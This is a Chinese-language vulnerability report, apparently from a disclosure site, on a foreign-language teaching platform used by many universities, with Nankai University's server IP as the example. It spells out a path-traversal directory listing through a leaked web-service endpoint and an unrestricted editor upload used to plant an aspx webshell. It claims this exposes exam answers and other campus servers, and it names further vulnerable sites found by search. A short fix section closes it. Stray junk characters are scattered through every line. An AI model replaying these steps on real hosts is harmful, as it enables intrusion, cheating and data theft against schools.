好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中* @) A0 t' h+ k
4 Q j2 p. F9 S$ q详细说明:, n& @2 i0 b/ N
3 B6 {) S" u3 |: }$ X以南开大学的为例:
% E7 R3 Y) D9 b# n% Yhttp://222.30.60.3/NPELS
5 _; k F+ M/ x6 W+ N7 FNPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
# H T7 O' W6 L( r- H<setting name="Update_CommonSvr_CommonService" serializeAs="String">% H' Z7 C1 P) q8 `* v
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>9 q3 p7 o @8 d" z& D
</setting>
: u0 H& j! r* N5 i' P; g/ c( d及版本号
' S$ C3 }: g$ |+ h<add key="TVersion" value="1, 0, 0, 2187">
H* v& x$ _8 a; m0 m" ^ S</add>4 [2 l0 A( M6 o# _ H5 T5 f
直接访问
( f" x6 [( a/ `5 v- w* L7 V+ Yhttp://222.30.60.3/NPELS/CommonService.asmx
! l1 C! i% ?4 h& { a使用GetTestClientFileList操作,直接 HTTP GET 列目录:
% D+ T3 v$ R2 T1 ~% z" lhttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187: R) |0 o/ P3 f1 e
进一步列目录(返回的网页很大,可以直接 wget 下来)2 P5 Q4 g; Z4 n
http://222.30.60.3/NPELS/CommonS ... List?version=../../$ m2 K# \3 ?$ j9 f
0 ]; y1 I+ o9 `; ]+ D4 G/ ]- M& ^发现
" ~9 R: s: V" ^$ P2 l/ r* Dhttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
+ W, Z" | U( @6 {; r可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头( |# c' \2 r5 U; c2 Y! T2 r
上传后继续列目录找到木马地址直接访问即可' \9 f3 x( ]9 R1 A- o2 _2 {9 B+ h4 S
* |6 [- ~4 r8 h/ K( P. B6 u
OOXX% J1 c/ T1 {2 U3 o
# h- n6 N% o& p: ^! N2 z
Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法8 d# {% o* [# \
漏洞证明:8 P3 Z0 J k$ F$ j* a
( j9 C& H" r# ]$ q4 D+ ]3 V
列目录:' ]) e' m& z' s y1 d
http://222.30.60.3/NPELS/CommonS ... List?version=../../
; G. R+ x$ B7 W, i5 Q* U. H文件上传:
0 r/ s! x! u; ?* x+ qhttp://222.30.60.3/npelsv/editor/editor.htm7 W& a2 j# Y" e/ U9 G0 p# u+ l1 K
0 a1 x+ g' U" ^; U上传木马:3 c" G/ d. X; X: W
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
2 ~1 V& \5 i1 ^# l- i- b* h( P 2 j b7 u+ a; l! }7 Z+ @& \+ M
修复方案:& B* Q3 Z" t7 P6 P, a1 h7 v9 q
好像考试系统必须使用 CommonService.asmx
) n% f. a" Z* ?8 `( w" ^最好配置文件加密或者用别的方式不让它泄露出来4 c$ b, B- u: u+ s3 @$ r" N' J
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样
" e: ]1 C1 M4 q0 n |